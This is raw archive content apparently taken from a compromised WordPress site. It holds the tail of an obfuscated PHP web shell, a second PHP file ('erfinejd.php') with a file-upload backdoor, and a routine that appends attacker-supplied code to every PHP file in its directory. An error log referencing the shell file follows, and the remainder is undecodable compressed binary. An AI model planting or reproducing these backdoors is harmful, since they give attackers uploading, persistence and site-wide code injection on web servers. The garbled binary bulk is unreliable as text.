70\x72"]}&0x0080)?"\x77":"-");${"\x47L\x4f\x42A\x4c\x53"}["\x6a\x65\x6c\x6a\x74y\x76\x6bm\x61t"]="p\x65\x72m\x73";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6c\x6e\x66s\x75\x6fwely"]}.=((${${"G\x4c\x4f\x42A\x4cS"}["\x6b\x6f\x66\x74\x6cu\x77n\x6d\x70r"]}&0x0040)?((${${"\x47L\x4f\x42A\x4cS"}["\x6b\x6ff\x74\x6c\x75wn\x6d\x70\x72"]}&0x0800)?"s":"\x78"):((${${"\x47L\x4f\x42\x41LS"}["\x74\x76\x6dq\x66f\x77k\x76v"]}&0x0800)?"S":"-"));${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x73r\x62\x65qq"]}.=((${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x65l\x6a\x74\x79\x76\x6b\x6da\x74"]}&0x0020)?"r":"-");${$pifulgo}.=((${${"\x47L\x4fB\x41\x4c\x53"}["ko\x66\x74\x6cu\x77n\x6d\x70r"]}&0x0010)?"w":"-");${${"\x47\x4c\x4fBA\x4c\x53"}["\x73r\x62\x65\x71\x71"]}.=((${$toeudlkbhkky}&0x0008)?((${${"\x47LO\x42\x41L\x53"}["kof\x74\x6c\x75\x77\x6em\x70\x72"]}&0x0400)?"\x73":"\x78"):((${${"G\x4cOB\x41L\x53"}["\x6b\x6f\x66t\x6cuw\x6emp\x72"]}&0x0400)?"S":"-"));${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73rb\x65\x71q"]}.=((${${"\x47\x4c\x4f\x42\x41L\x53"}["k\x6f\x66\x74\x6c\x75\x77n\x6d\x70\x72"]}&0x0004)?"\x72":"-");${${"\x47LOB\x41\x4cS"}["\x61\x6f\x67\x69\x67b\x6d\x6e"]}.=((${${"\x47\x4cOBA\x4c\x53"}["ko\x66\x74\x6c\x75\x77\x6e\x6d\x70\x72"]}&0x0002)?"\x77":"-");${${"G\x4cOBAL\x53"}["\x73\x72\x62\x65\x71\x71"]}.=((${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x6f\x66t\x6cu\x77\x6empr"]}&0x0001)?((${${"\x47\x4c\x4fB\x41LS"}["\x6b\x6fft\x6cu\x77\x6e\x6d\x70\x72"]}&0x0200)?"\x74":"\x78"):((${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6f\x66\x74\x6c\x75\x77\x6em\x70\x72"]}&0x0200)?"\x54":"-"));return${${"\x47\x4c\x4f\x42\x41L\x53"}["s\x72\x62\x65\x71\x71"]};}echo
"\n\x3c/BOD\x59>\n</H\x54M\x4c>\n";
?>PK1G�[���6��erfinejd.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK2G�[�pm��	error_lognu�[���[11-Nov-2025 09:08:15
UTC] PHP Warning:  Module 'imagick' already loaded in Unknown on
line 0
[11-Nov-2025 09:08:19 UTC] PHP Warning:  Module 'imagick' already
loaded in Unknown on line 0
[12-Dec-2025 00:42:34 UTC] PHP Warning:  Undefined variable $ext in
/home/lmsyaran/public_html/khademsharif.atwh.ir/wp-2019.php on line 1126
[12-Dec-2025 01:14:25 UTC] PHP Warning:  fileperms(): stat failed for
/home/lmsyaran/public_html/khademsharif.atwh.ir/wp-2019.php.tar in
/home/lmsyaran/public_html/khademsharif.atwh.ir/wp-2019.php on line 134
[12-Dec-2025 01:27:52 UTC] PHP Warning:  fileperms(): stat failed for
/home/lmsyaran/public_html/khademsharif.atwh.ir/error_log.tar.gz in
/home/lmsyaran/public_html/khademsharif.atwh.ir/wp-2019.php on line 134
[12-Dec-2025 01:48:00 UTC] PHP Warning:  fileperms(): stat failed for
/home/lmsyaran/public_html/khademsharif.atwh.ir/menu.php.tar in
/home/lmsyaran/public_html/khademsharif.atwh.ir/wp-2019.php on line 134
PK2G�[4Ͳeewp-2019.php.php.tar.gznu�[�����is+I���,���X�P���q'	���M	
qd������H;ҚͮI���d���֤�I3�V���/���%G8H���i�X�H
w���2��T��
�Eg"u���t�BO�jCA��^A_
��ʯf��?�
g��?>�	����H��{����D�H���!_�󽾉����tAEM�m������wh(����������D䦂,D�[�~o�����+T��R�ܗU�%E�ۯ�9�S8Yѹ�P���B�L6o���LX�CE������%����S��DH2�,���t&h�JQ{(	�ԟ�����%�I�P�?}Zh���{�F{�5���T��LG�ޒO����WNuq��G�R
�N9M���ϴ��~�Zy�=e"-E��U�x�'!���OO;�����;�>�^�����?�d���g���ڻ��p9\�'���f��dIw~R�p*���"뢌�C��'i��������*Mן��`8A��NW"�A����TQC��:�>��H���R��i�
3K�@P�э�kHBc��t��+ʤ#������z���Zy�H���~��rO�p���WM��]����I�c�O$
;N$�M��5��3@�Dp��8���5�>��]M�<�4�g�A\'{�(����fm>�tM�zp�\�x�
^8��D�����FG#��&�$4ı���&�b�.�i�RP��LQu���D����Ō�U��.t&"��C�C�:8;Qq��u��d�!�q��M��K'�d���A�k��(�y��V
mb��L_uU{���?������?��Ͽ�����B�*re�i�a%�h�*\Q_9}(i\OR�H(�s�UC�r�q�����?�~���_������w?�������>������@PS���j��I�܏���������o�G'��>������o��}���J�HZ��A.��R���&-w������?ň�A���sF���~��گQ�B���O(�@��BM�����R��'���:�P���>D�PQ����(#�a~�@��V�34��>�?����Z4eB�����'�_�,�8u�4$�t�G������e�Q2a�?��q�F#)�CHi�k��ߠ���6��(A�k���ӳfA��,e%O��%������"cpE���cT�
1M��K�x��ÕArZ%��BFL$mH��w��
i#wFU�S���U���Pa|��A��~�&�o1*�*�;�W�ʏ���pt���ʪ�GA��?��И���-f=6t4��㟒���K�������O8������O��!�G`����D�w����+�r�,R�D�H��;�%T
�a�����p=Q�L�� ��2����Ud�}�1,ҥ�=���>�R�b�D�	�ãB��o0*����o>�%���ԳM,,L��
�(uaR��*f7\I\���K�"�H�,abY��xf�L��Q�{SC���^�6�L��HT⪘?)�g�C,���g�eG��B�s�5������T�՜��@X�C��n�-�4�T(�j��"&�#N�)ˁF��?P����oR"'`k�v5h��A����|�PG[L9�W��e����Ң1m�L�.4M"<�o%��2+j�R�Ld�NF����\�t�����7��BV��h/��6�����"c����r8�;9�OZS&="��¨]F]܃�³���T�W#,����
�IW��Y���L�l��MGF����%�_�rI��j�M(	�?G4�k��0i�U��d,�-�_�im�1c�˿0��_m6��B$���M���FD�(��`-X"�
]��ds�+<.AfbH#���x�@�f$�
�f���f���M�z����%���`n�"3QDhu��"5�Uq&�
tQ0K�L�␂;Qz��9<�T�
d8]�˝�������
�1�������e�ǡ.Я��~�U�k1v`�3AB�ә�q�=U3�F�V�t�G��cE��2��N����.��,�5]E��.�؇�g���.�ߠ�1��]�`i�w�̆�(�
��ĉ�t
LP��5�DVMr�<�ao����S���l}a���emJ��C����k4�QnO�H"=1��"J^�,�2�A�R��A�E�~o蒌�MS��T`�!�{H�C�n�x
�'$�w~�GTOҐlw�g��گp��.9Ծ��tڀ*�[I{�SQ���<�����k���bG�~�h��c���N4rfߘ�d��c�e)��a��
���іij���R����,���A�t4��0)�"EI��M��
�}�cI���NS�^=ꕃ���|�� SWO
Ew���z(GC�@{���I�AI��rP�b����Ƒy�MP�J���4��e���6i�d�b�Y��(������Uصh(�41d�㖺��3�Y�p02@��
��
����#x3.�*�%�`P�g��:$��x.Vlf�����A�%�}�@�z��S'1�ў��	�We/����_�0�"�p��&U.�Ý�ņ�݁un���[Ȉ��0A�u.�6)�eœ
D'��}V0T
�12���L2��FZ�vK{8�V�����|>�;�Y�P:�!K�@�wa����N���e�u0��$��*+D[G����o�7l$j�j3S}︩���T�TL�r�D.��=0h�J�CG��:	uQ�XU&�--`$F6h���>b+�;�vr9A�H
s�$������Q��Z��	�!!%��L��!zE���6(��:�
����'�
�пO��a�c���~*
q�:ʼnH4�G��1x�g���1�4��A���a�[��.��!�e�͕��0���y`Mx����9d#��Ua�H�p��F�a?�O���^���N~*h���YK�@���O�%zq��0d\�԰8U���e�+jP��E��Р���OD��QSO�Ƿ��q0�D��F;�e�m�\zj�2�T�>�F��r:Cf��Y�=H���l��yz�ňՁJ�Tq��Z��T�o,����}|��q|��é��;ׇ��>8.�GM�߸���VZ�d20j!�`�Ua|���fW�����@�:���9@^`�bs�sbb���Ч�
O���➞����A!~:!+����g�4�ha,�V-���,�
�L2P�N�0�X����BO���B�;,���h���W}�
�9�}1,�����&]���%}U���YS�<�˃TXX���}lEs�]�Φq�MRxU�`�Psb��qc�Y��ºcf���Ȃ@�I=6�g5��t��
��Py�?����*��'�Y�5q½AF���ߐ�J�i{b���'֖l�`ĝT��9x�9Lnk�_.�$���G����N5;�U��d�<�2�ɸ"�����3���Kz�U'�r���r�u��󹸫+�#!�ה�Xԉ0`�4�����&���f�Q&RY0��p���	0fX����A�?*b���@%�n>洙�Eʤ`�9�!`�0��;��s�&��
X��b�1�>�o�ۀf��27�f���
�(ܐDz���E�(�f0�Q��J���BRن��(�C����s��O��b���5eCP�ۓc�9
�X;8wq�P��
���Te1{��������&�ބ���AQ'��Z
��7�����7���\oX���7�[ˠ�K*J��-�H�֩EZ���>3z$����˱�A=w\];|�E�!�a��>�i5��R�ɖ�-���f
v��:�~!�#`EZ��	����C�8p�N��n��nB��^'�Ԏ���&�hm�4Ҵh%���9F�R�8Y-s�!�5�9T�hv�����6��x�#ը���bc��s=�t��fP�Ҏ�]�
}0u
�M0�E
.
%mD�Ѷ�<i;1*��i�F.��жŵ��ځ'C�U9����iI�)�M_p��#LQ�%�j^�����	��
^rX��ìof"6���k�<�nW<g�:�������hz���^j'-'+�3�1�0g��z�;e��]�>��.x��J�l/��'m�t�r�G5١㝔ɆC�Z޽�2�y�Wf�l���NU։�u��
�z�3�b"ǟP`�����������ɨ#H��	�M!���L#�0�z�;Q4�F��$����(�����{}d-):���:�T��8j��/����K���O�#
Gg��MT�kޙG�W�:�l:EE��S�0UH���f	�کH������+�/2�.HC�Gg��TK&J���w�**�d�N��	���o�6�,t����v�ݽ�k`�ν��5Q��}����Zz-�=X�wy�ڱ��a
�iO[&7�������
f+YFH>��N2�`>�����zsueY�'�RW`���W��
�Z�O"�x�d;/Zk�����,xZ�Ie�+��l�m��86��g�_Z,Z�F�f���jn��g����z)�g�XE�\0|F����'Yѡ�:V����L����luD�]l�'���i�O�;�78�߹�_[�2>|�?��gx�XC�7�5p�X�>�Ɓ�:D�&@!Ce1�°���13��5��Qp���`�
{������,L�-:���E=���!E�zP�md7�T�i�.%F{K��Ղ���]�PN�A=��<��̏��=�0a�t��dw�XطO�Wt
�%F��c�4J;����@�=g��s��u�K:��[C������.�H���qY�d*���7T���;4-Q�^��	1�4�u�r�
���O(�}&M��kǡ�i����8��W�)ϙ&N�?���<�/)+v�Ζ��d�qJ�����p����^'���@_�u�9�QK�j��&���ĵcwL,j�mL`S�l��t��
N����_��
�+=%O������)Rx�SN�`�NO�Q�o	��m�Bgp3�s�<�L`_����tf/�����4���ѫ�sWN�)-���M�	�Xp�L�]��T9�z��M��B�A��{�.���*���K���.xu�*���K��.���*���K��]��g�v[x˓*��[�{����';�^E!"	��M�7�zP�r���)=����~c]#�Ř'vG�+�,�H9�t�dž2��h
����O��eV��55��nq�âձo~1h){�NDAv����V�i�d��~{cG�
�4d4Nێ�y�Ą+�+n�AU$�v��<�G��c�8�g�5���u�6��(�L��|!�e�(�$�������3�qr0m��t�:���	��ʿ3h'Ve�h]&�m%�&���_���v���)2O�SV�<�~b�i�+�^��2��
�!�c0ݎ�ô�៩��4��HoyB��t-��L�8l9.&���W������r��-��+K�����qa�eͤ{�'�n"l���y�[�y!�sx�Mm{d,�p�E÷��������wxsz1��"�$!	�hp�*P��9¤g=q"��[����C�N��o4�[u�e��b`���!���x~M��a���r��%9)(m�5HtST�0��cf��!��;!I��ͽ��a�
P���+��ghm(n�##�3]�3�:�����8P'q=B1y1Ef�8�i&�4�����
D�Z�'���Y.��k��`{��UZYYR��P���D=C�0p�ÄS
���'	����
�0癄P�]r��[�BHq����<b��@�R-S�s�R�l��L���\w
�FW����B��0����F�~��3�1Me�@k1��p
��ޫb9q����/���,�;�KC��J�:.�O��CNK���p=f�O{t�q)đ*�`'m�^�h��O�b��L�~��C�F�N�Z��1@��N�v�4aINS�%
�sS8��<m�O�{O7��9�N�{�ԝ�-�3d.�&���q��D�W*꧓��Xc�Y�E�0U��ENM���	J�<�S���k��1�2���j��+�J��R��H>8�X&���-����we��ҷ�*N�y	�S��L��!T^f�;���J�I=Z�8���p�|�V9q������i�q�H��$�簠��@��}�>T�n?�+'����Y�݅nlY�ą��
=|��.'��c�R��v���SCC��P��3xL/���j	|�<�i��aq���l�r�
Yh*Ki���_g4랦Ouc��Iz$�&���yd�F�.���%�|q�7L�"�ǧ�Rd{��.eŲj��L{�:1��z�K5k1ү+�W���Z6�N�{&f�=�퐶�W����°��10���KzV��[:��Ɏʃۇ"�7)����<-�k�-
ӑf�W�:ޡz�~2ġ���TD���޶&%��B�p�H�OF�9�%������.����n8��L���gL�6&�Ԅ��t�)�=AF@p���݈���K]+��9�z�C��*E�|
�2�-²�ɦ�?Ԉ,ro�)XHz[`�BO�
8��1��<�#f;϶���"�d���@�8����X��)Z3�����%Z��L��+_!7P�Tk3������J*q�b%^��\/Yod��/�
�
JT+�l5���Hy���G��[��_E"U}
�Y��1H'�`�5�oBS=�
����W�7g]>6	�G�<"ʫ�M2PH��eu�KU��D����5�H^����x^H!�f�k�Z)���,�G�\�ih������D�0	��aq����@
4�Qh�rgV�i�ӊ7x>:���[/����QK�7Zðp;�51e���xz����ݔ��Pq�}��$/dP�{û^*�O�|��t�w���p���=*�ME�ə��/��H0;�ɭ�$�
u�G=�U���M�ݐ?1w�;��T�ՂH�ƷB>��I}F�
��r����o+��&9�O��`:���vG�B�o�wMD�1��ܹч�TW}J�>ʣ��m_��
�XR�m��P#H�M�wŤ���]�n�N2�I~Q��#�I>�+����u��N:��\
�v[�K�7��2+W���,��f��qo
��P�J�?��hy��b�E;Pm!����� 8z�w
��"��B��0��#�4�ͮ����Aa��܋Q=T���%���ƈwV�F�p�^#�m:��v緕>0ua�k��u��?��C3��@�۽L��˖�m�l=�N�����3��Л4��a�f��<4bP!Иd*͊��Z�J��%�L�omӭQs�kW�wR&%�wj��T����Ԫ��@����Vg:�7��2�3��_(�j|�t��C�M;^h+�Ak�hEK���qs�̖�¶��g����e�ʦ�X֔���
��Ҽ�߅{C!P��Ҵi�+�t�X�k�El�-�b1ݟ��H�����h�1�#�C"1m���O�ݣQd�h���2YfCmu�k,F)i�^	�f�w��n�Ƥ]��F�8_�C��6N%��*�R��j���ma񙼭6�u|;��ȑ�xFV�(�Ŋ~a~P�%^ʧ�P�;ʚ��d�{��N�C~X�[]�~���.2d��S�z��,?Ro��V�:���v��q�ܬF��S��c_�ޕR�#��90����)�wp��S�%���v0p�!��~;:">WsQ�>��QoRr�*���q����n�ٮW�R7ȂuX�.�'�w\>�Fo�b��aM�~��#����T[���_���)[�>$��L��Z���~��n�X��4m�Q�L�'�W��##�q���rS����>;0���QVo������l
^8�V4q9|�c_A>���Z�*�;{���6��o=�Y!c�v�[m&�lF@����m�N7e�����h��V�3�����C�Ƣ醀x�m]|�Uvˉl�6��{�m��SpN��"�=8D@YAv|�Pb(�~����pfXY�f�J���@SX���76٭p�N9�=�T�b�q���Y�w����K����c\�
G�d�[�e��(	����l[<O����	@4�V�^�<��>a�H(�5ߜ��u�Ҁa��2|����ʁj��E�s���?R�6;q�K�E��~d�+\o����~�0CD��������̭�
.���p�̾!A�'#a�l�e?hI|��
j]��L�(p�.xX�@
Q��!���'Zah�d�c��5�E���;���.��c9�3����qv~{N"ա_���y�u��b�LBI?|m?�b�I&7j�K�����,�g|bOr�f�g߳d$��X;�Ox�@U8��s��H��!l��L?n�1�ru}�4�!������e�gHz��"�0l�"<�&1��!����DE��S.��O��O
�U-qm�*ͺ�lX�%@�W���DRw���p��:��텈2�^B�~$W�!���[��A��Z0��`���L�!�Z
�N��{+fcU0G����8jzH�g���z��YC����9"l!��`b�����d!R9s�HI�,J��nB�밴a�+�Ø��ظ>�#a]��Y�``�;�8�m��o+1�ȉ�kk�%��`������f-�rxI�#��K%q�09�
��1�Y����13���Ăm^�_όo��{vxy6�
]����Ƚw�9[���@̧]{��1"'�%ڞc	�d�l�wu��	��0�Y��]n3vʡ�H���N^ǯ�i/|
b�O
�rbX9�ǫW7oߠ�~��|��{�̛�#������,|�d>r
�������Ѓ�H�=cuu���S�7r��[J�
��=�wu��z��'B(�s�60$�!t�ud�)l������T��\�y�QG�mgH5������$�{�VE"��)���e�`�`��`�@���
���=nKf>�l���v��k=��4����g��X�hd�5�Og�|!�欃pH/�&�藦'�@����;v��H�V�AoQ�MO
�Ԩ��D3o��xM,�����д�b�?T����I3��.�vcF���yp��5��3q-�N��	3i��VY�hѓ.�PZ���%��n��	���P�	Ɉ�%6��"A�/��Y��c��싩��/a�7K��k>c��%�?��6f��I�>��l�&X��7Dq^x6�o��]e��dlg,F0g���B����f��Д��Z�cM��i�,��ΤG��&ٜ2�Ik�)VFMKW������F8�,��E�LH<�!plG�ţ@<�x�����<>%P�}�瑣�Ջ����Lj�i��p�%4Aӂ��D�1�e���>�4!��{��r9ϢX��Oc'�Ɩ��D-g�^�xԭ���No�M[Լۅ������EBò1$gi�	/6+�����s��C5�2P�W[Ih9Zv7�?�y�U.��p�����^ݗП�U�%���ki�J���w������c
���n	��,{4�,&ʎ���tfϦ1@/8K��iħ�q<r�
@�$J�ތ�\�Z��bgl��ѽ�2��b�,e�{z7�	��8�(h���ܲ��w'���:��!��û0\7\g1�����R��EV����F�c'I7����z�M���dۍFtU�p�K�r�O"�/�>_�维ǃIA=��>4�N]�:��+S���]��7���ǹ0|��{1�υ��s@�����uI����Q'H�!�$5��S�ь�S@
l�=h��k$eM�c��W�Od+�O����/�V��-��V�(���5�#q��~Z�fG��?�
���;�t/u]�x�ϖ��'8
��2C��X�Q-�����D.S�##�FJ�
�3aS����b��P,��|�7��/_����϶�,����L���7�D�^*W�d3U(�
�T3�F�T�&J5T��㲜��uŵ؅�p�nK�y���*����v]W�O?
嚞������_|�΅S�iH$��d0�Ç�)�(b�u����0��4����������k��{ݐ�t��r�wxo�8�6f;
~;�e�C;��Ń��$ϻ��,��q7���O	-Q_��wW���w�g%��_�v�%�s�p��o�g���T�l.NN^}`W��
�u<6�$�"1'ɐp�3�[d�Z�����ROZ�H�X������9,,*u/�1l|qJ�*�Y'����j�_���T��C���j6����6��_^o���Ⱥ�r={���\���7�M"�L�"tL���1Q��rh�8\4G[�K|C?Q	���<��kv���3[1H���q��o6텭�#�
��?k����L&��Z�����锍a-T���
�A�m`�x��/�F�v$.��Vv�\^~Ă@�]�%U�ϻCi���eI�l7�{�\q�#�,T	!�ė�t��4��q�^�6'ga�/N���+݅f+,,t#J&.�k?D��h��O��A�}O���6>�܏��!�{�&�?Yrq_'XR:�Ġ�(��7�M'Оur�D�f$�͒���ϲ�`0���j!)1���ư��goSR(��Z�|e\�)�ʎ��n�Zm42��4���HI�e�-�W
�D�
�A���45z\�����;%^}|�_�Z,�nW�D*�y��K�R+q7o�Ō�J�c�\H�,*�L�&��$�m;���d�~�O�Լ��YI�tWL%҉z{��Knn�?��&�D+�It��q}XL��D&�S�7��z�T��(
йt�(�ل��%侻SO�S=��$��$;�T��RU�h����h���o*�l";X%��i-V	'J=�N�6�|��
&���Lb�I$w(�*��D�E���R(���Q�\lҍ�j�E�ܝ��M;�آV	W[�N*�_'����0�l���ºhUn��qb����\��,%�A,�B���f�7��BeU��KJ$������[���w��n��Y__�qS�mNID�JR��ItPU�A�/�j��Rl$��,4���}��g������piXXgn;����˫	�h�~���}��n��c+{��
V��W/4��p�v�+v�J��/v�<��6�L�~H)��?S�™���"���F�V�6&�e|�c�{u�n	-����jQ�Z��@mӭ<���e7��/D;��F!1HrR:ԍyw����͔�xZ�V��qe\��ږ�I!�T�dAM&s|=�Km��6��m�)~=()���]=U&S�i-qss;(�TE�r�N���k��$z��dU��n"�XMB���g��m4Y(n��J5�I�ڍ
%��4�F����w��$*u�J�J�j5?^TK������l3��ǻ�|x�_��L1�f��䖙�z��m�`#]l��
�S�9e���o*�{Pn���Z�[��"�+��>��ܕXw�*Z��}��N,�Z)��Z�]m�IMl�p�j�W�EH��b�uoU�
��T����V5��e�w�h�VnR_��ܖV��0{�������w�*Uw��j����/��2J�^\'�R�>S�TjR�ns�V��z���2�m�7
���6ok�ZR�c���-6�����?�e�����9we�h��6�ꡆ;�4�ټ6�'�r���'��m�)���P�fɟ��2�'�e�%*�m�?ɥ��}[�<
뱞����Lu}��MoR
�'��O[Ϊn�1����V��p��^��r!9���V{=	�
�V��j�BZ{�J�uZ���d�l�4�e�7�ԬY�Ԅfn�,���|6W�@o���f�={����ݼ�ߏ��1����_���:��8+G���TT:�
?�	���8��-ݭ|��,�hM~��k
R���h��4����c�V�)ׁ��h��@T��s!�lK�;��m,ˍ�(v
��۵�>��BA|�#�ా,��Y.��Ջ�u��V�3�q2��ZA��}}uYQAD�g~9:���k�"?�z7�_N��r#>��na�n���_�"s!��(=Ӌ�3w�%�a4��w�H_;A�=\Nj���?#3�y��r�j5N���v8����ug��c�N��M?vK�J�9�<�C�Zu��Ĕx37j��G99�X���\�+�n�)�ź8+Eg�Z�3��V����ֱ��V(��������ۢ<u�x��IA�*�>��\�V[T��D^��z1l*���j6g=�'��Յ��t���<�ETYo˫hz�k���mk��VR_,�i
��ʭaO�c��;R_�K�(�u�M��o��Z�a�ww��M6={(�a;�.�l��3+z��:}Hߏ��}�������ד�1�
�o���*����8�:k=�_��Bᄍ~���7��;�E@	D�Ei�E�~W��|�f*>�K[��}��NVý�
��w�e_�	�W|�d;�(�7�Q1�}T{�J�4��eo]w��Qx#��ܡ�*Ň&W����b�X����ĝ
�J|������*)y�j$۫��K>��Q��,���[������O�
�p��L�B}�xL����)o*j�&���nx�F �=��ax�+�������Ͱ)��Cᕔ�z��د3�m�W�Toۙ�L������J5�=���\�j��Xkў�w���{�L��z.J�Ei֖:���7�YPJ�K�lI�%
7�ղ����Yq��ʳv���˷�U���ϓ��m?_�m�)YN�to��WKz.Ȕ��a���y-z�����u�<)��Ô8�w�ƶ7����l��|���<~�*����2W��v9�v����D֓a��^?D��&&N*�[!Z���f��ge�Q�YE�o�mڛ4�mɅr[PeiY�v7ۍ����ۥ��zF��B�B`�j�_�,�՜�F���
�u#[���Ul��
�`�Y�Ͱ�諾�8���f4�Q�I��U#+��Z<d���w�{u�q�����srUsg[ӂ:�w��n�(���$�-7�������2�x�߷��iD�
�'�Iτ��-<���R�7��{����Ǐ�b�_*��A����2_�bm���|�{mܼ�6ܓJ
�{��ͣ;�F�zty��EK����6�ף�K]o&�͒���l��[w�>x���rh�2��x��W���ɯ"Tn����}�Z�[j��-��n7?.{_�4�7G�m.$�V�y�wo�|WL�U����j9s�[�7�^10KM��:��ӥ�iM�zl�:�ƪq���|��I��,56�i��@�
mz��?ޗ��`.�Q�v4�/�}��dn�C����$Z����B�w_�܍z3:|��c��@p�++1~v_��Ĩ\\�:�
Qy!���#ՅX�E{�?�vx��
��޲_�t�~6�?��:�wR?���cW���ztݏg�z�7I[����F��M|����M��ws��=Z,��U<�l���ȥ[U
��,���H#Wb��v��:�xm�Ȯ[�rԌ�e_{TU��$\�;��	/���z��:��0��<�wͨ��\��~��.�x����71���Z�Y����zZ�L"<��m���]�k���j"�'�c	>������m73lw�	�Z�w��,AAN�a���e&�j��M%V���D�%
e�7|�7��=���Q�����c��}��'Q�L���@��Y���[r'��D6���B2���w�f7%U��Ll0���~->m���T؄�V,�L���"���~,(���e�����f�o�|�?精�
Z���(s�k%=�n>F�Rc�>�o�A���j�Q���ð�E!�hU�Z"_�ˮ��~m��M�c��V�lr��\��U�=L�*�\s,�bAq1�d�)=��W�v4XV����0_���]x��%��*&%�Y�&��l����E��~L�g�N���Yr�b"[��W�N���=E�4FQ�r�r�غG��c^�*�Tzh-*�J���]�2M��<���Z�j%�ZL[R��ݦ��&����t�]��J�bP����ͺ����i7��'r"_��s�f�,LEyS�
�hH������M\���$�M������7�h�n=�<��T����]�}������,
�f%�־��w�z�DBԷ�L}���X�^V�Ű�,o�XW��nܱ`o��$�uwB��f��W�fc���I�>�-*�T��ezC$�W���/�g_�Ͼ��}!?�B~�������/�g_�Ͼ��}!?�B�8���
���@��dlL}!����_�$���vG�u�׻K�>y�R�Պt��eֽR��U�>�g�V+W�l�6��]1����M�H����2������B�޽<�W�x<��[~u�7����y�M����E,�M�
��Ud
$n�j\��B������/0o�{rk����C�N�g��㺦���a_VLj7�(�L%J�iFJa>/�	��l�wٿ�W�H/��<����q�\CFJ�Jd�f�m���}G��l�����g�r@
b�cI��A~�>����V��=��<�RC�n��n���pzT~�֋ETن3��1GI]L���͝���t���5��Z����_n|6�݄�A)w��\r�WG��Pޤ+�t���bՇu�/���@د�u��Ey�i���RNYg���.r꪿L�t�����mD.�FUiT�˷*�i?Z*�|E
.��6ܙ�}[��qZ����7ke�M�m��^o�����I>ޞ�2���"�����ꩵ�N������e0����h�!�n��(����1�,(�M��Ȣ[��L�m(�~t�z�b.z'6�|(o�]�M�C�^i�wJ��T���/����B�bP����[w�ݽF�����s�)�e˼;Pƃ�𢃾�;�@|#M{��D�e$T�J+�����D��Uo�-
o�jUR;�b�Qm!�oN����L��g��x�J��{���r�HK�F��4I���bnN��i>Y�uV�����s[�߾��ҕQ����ѪI��A��:j{�Φ�v(������ݥ�FY���C,Z-�E>Б�H��|�vC�~K��`�;n�wG��XV��7]i����2��K�Y*�7a��m�v:�Ͱ���5�]R���+)p+�bs�w�˽f~�Ck�F�17k��n��L�wgn^�*��t���F���E�P���}�EQZ�ǛX��qk͇�\��D~Y��nur��X���
�ز�����i,�!���1�_5f�`/�[G��\I�c�v�ۿqkab�v�-]��h�{\����W����b���zQMW����LJ#>�l�z_/���ߓ�Z;�l��Շa&���6���n�:ϧj�6R���R�3i6��;_(ھ�"�39�{���o����\��qT����c5�pS�wm_/�ݴ+�d;�ڵ�mYB���P
w���=����j&�(dK�i�A��h��4��Y����ҨX^���Aszے73��d�q����ɡ��V����>�	D'��x�\��Ɨ�R��i�'�J*լ�Kn]ճ�P�6��
�t6��MR�F޶�����ÙI2��z�n����k�BY(�J>�SJ-m�fong���Ғ�T�s�)��ڙˣF#����"�خng�IPȭҁd��n��}p/"�Mb!���eE�n��U]�n��R�q��J��Fz+_Y%&�(�wcX�%j�f�Z�Z�������=Iമ*�2�
�
kr��"���.�Ƨc�gq�:�;��aÿ��V������.�E�/&b_?P��C��$��hU�Bև��3
����{�s��q=ͺ@�!�����J>�O��|C�fQ�����Or�P��v��1y��Ŏ�
��n6�}������|ן����kR�r�6���>���oIѧh�E�6yP�~C����ЖzI�<Md��/g�[�z�2Z�Ы�B���SwтD��+CW��.�.шI�
u0�ء�,�9�^n
�`
f�ŝj	w?tG�5�m�lqT|��P
`v�
_��>~䁜"v�<��g�P�JP�@3��/T�FA���/�r'�E�[�5E)O��/�XW��$������Bi��[&����`�o�j�����0ȗ@�d�
�~qwr�,��8Ȉ1f�K`�'�>~a?v­zI�/Y�����@�-��Ѹl��2�
��Y<�H�ې�Jz.(�L���J��#��ag>����A��;,�9�̀_����`��<�<��X���p���䒡�n���q��"���/�
��-�/����
�A��I@���
/C�]H/8#�K-�FT82�!��^��Cѡ��
luE�T[�Rr�my1ʫ��A+w�`�Do����y��u[L(��$l��v㞾f�9�O����]|�����'��!��>�#\�p�ʗ{���N�׋���H?���x7
җ�e
��1���;��-Hޗ����c�@�P@�/�5���ӝh��ZW�fH.�0�A#�k�hW6m�H]lW�N���^���zQ#Վ�㧇z}1�/{`�p+����:tylI`Ǻ��E|j*�}{k�J��'�F���M.�ߐ�����o�I�ԝ�v��{J������fH���hÆ���!��/-xuE��Qc��K�Aqt����[ڥ|r�+����8l�|
6L'�,����H?y�X�Qߙ�Ż�����S6*I�;&�
�H<�J�Ś�ŝ�

SҢf�4���4���w.������G^��MX'�
z�1oh/h�l��^���Fk�p*�rqxJ�Ⰲ�]��č�el��؝�|�2�k�p��!�F؋ָY�qѠW���V,fԭu$�x�㌼����*�Vg�
�:�&�L���AT��WΉ��cʾ�:�[�e6��pP^���
j���"��-B��x8e��V�g���!-sIb��~�|p��h��Wvi��}�/�t���Zå�뫧oyR�����A7�~��{jx�v�>4�tC�H�o���
46f���x\�j�dq�F]�=�>�;����O⯐�K#��a��1d*�H5��x������T1����x;�K�ķa�UqL�آ��AyK��{F~?N"
	����Ţ%`���lFO<���!d6
ѹ�D�9�U�������Xa��摠���{]0>4��	�WW�o��p�;���!���~k�IZ�H��#���Cw�W|�I�v��B��`���oa���3��uo��G�0ص9l��E"��^9|�+N@�"��NwV�~G��Ž˗�Jx�y������k�)�2�wza�C���Teu#�h^V5������9a"
�Z�!N��}��P[}�qB�[��`y���Uf�II��w�ل���l��_��~l�#��54L�[�r��0�q���9�)A;�D�3J��u��.�N�e,�˳+Yb솗��8
